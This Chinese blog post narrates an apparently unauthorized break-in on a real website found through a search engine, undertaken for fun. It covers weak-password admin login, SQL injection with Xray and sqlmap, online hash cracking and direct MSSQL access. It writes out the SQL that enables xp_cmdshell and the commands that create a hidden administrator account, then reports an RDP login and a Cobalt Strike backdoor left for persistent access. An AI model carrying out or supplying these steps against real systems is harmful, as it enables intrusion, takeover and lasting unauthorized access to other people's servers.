从网页到远程桌面的渗透

发布于 2023-05-25  740 次阅读


AI 摘要

这篇文章介绍了通过从网页到远程桌面的渗透过程。作者首先通过搜索引擎找到了一个网站的后台,并成功使用弱口令登录。接下来作者发现该网站后台存在SQL注入漏洞,并使用扫描器发现了注入点。通过SQL注入,作者成功获得了数据库列表和当前用户权限。作者还发现了目标服务器开放的SQL Server端口,并成功连接了数据库。通过提权和执行命令,作者最终成功创建了管理员账户并登录了远程桌面。文章强调了不要使用简单密码以及渗透的流程总结。

引子

5.20闲着无聊,那就来挖洞吧,打穿一台机器的体验可比去外面玩成就感大多了

过程

登录后台

通过搜索引擎搜索到了某个网站的后台,首先使用弱口令,(123456),结果直接进去了

成功进入后台界面

发现漏洞

通常,网站的后台会存在大量的漏洞,如文件上传,SQL注入等,我使用扫描器发现了该网站后台存在SQL报错注入。

渗透用的Xray的扫描器界面

SQL注入

标记扫描器扫出的SQL注入点后,直接进sqlmap跑,成功获得了数据库列表

渗透用的poc包
sqlmap跑出的数据库列表

查看当前用户权限,发现是dba(数据库管理员)

查看当前的数据库权限

查看数据库类型是SQL server,mssql的提权比mysql的方便,因为能直接调用xp_cmd模块直接执行命令

尝试执行命令

使用os-shell执行命令失败

sqlmap表示无法执行命令

破解密码

尝试读取数据库用户密码哈希,通过在线查询哈希

直接使用password读取密码

emmm

通过在线网站获取明文

成功获取到明文密码

拿到密码

扫描端口

对目标服务器进行全端口扫描,发现目标机器开放了SQL server端口1433

fofa的扫描结果

连接数据库

使用数据库连接工具成功连接

成功连接数据库

连接数据库后,如过遇到简单的杀软,可以查看从 SQL Server 提权到远程桌面(存在杀软)

查看当前用户权限

执行sql语句:

WITH CTE AS (
    SELECT
        u.name AS 用户名,
        u.is_disabled AS 是否禁用,
        g.name AS 服务器角色,
        '√' AS 'flag' 
    FROM
        sys.server_principals u
        INNER JOIN sys.server_role_members m ON u.principal_id = m.member_principal_id
        INNER JOIN sys.server_principals g ON g.principal_id = m.role_principal_id 
    ) SELECT
    * 
FROM
    CTE PIVOT ( MAX ( flag ) FOR 服务器角色 IN ( [public], [sysadmin], [securityadmin], [serveradmin], [setupadmin], [processadmin], [diskadmin], [dbcreator], [bulkadmin] ) ) AS T;

发现是system管理员权限

当前数据库用户为系统管理员

执行命令

直接执行sql语句,打开xp_cmd

use master;
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
成功打开xm_cmd

查看当前用户权限

use master;
exec master..xp_cmdshell "whoami";
执行命令结果

发现是system权限,直接创建新的管理员账户

创建管理员

use master;
exec master..xp_cmdshell "net user test12 dreamfall.cn1 /add";
创建用户
net localgroup administrators test12 /add
提升为管理员

远程桌面

通过远程桌面成功登录,获取目标主机的全部权限

成功登录远程桌面

上线CS

在服务器中留下后门,以便随时随地访问此站

总结

千万不要为了方便使用简单密码

流程总结:弱口令进后台,后台sql注入,获取到数据库用户哈希,弱密码哈希破解,发现开数据库端口,直接连接,发现是dba权限,直接调用xp_cmd执行命令创建管理员账户,登录远程桌面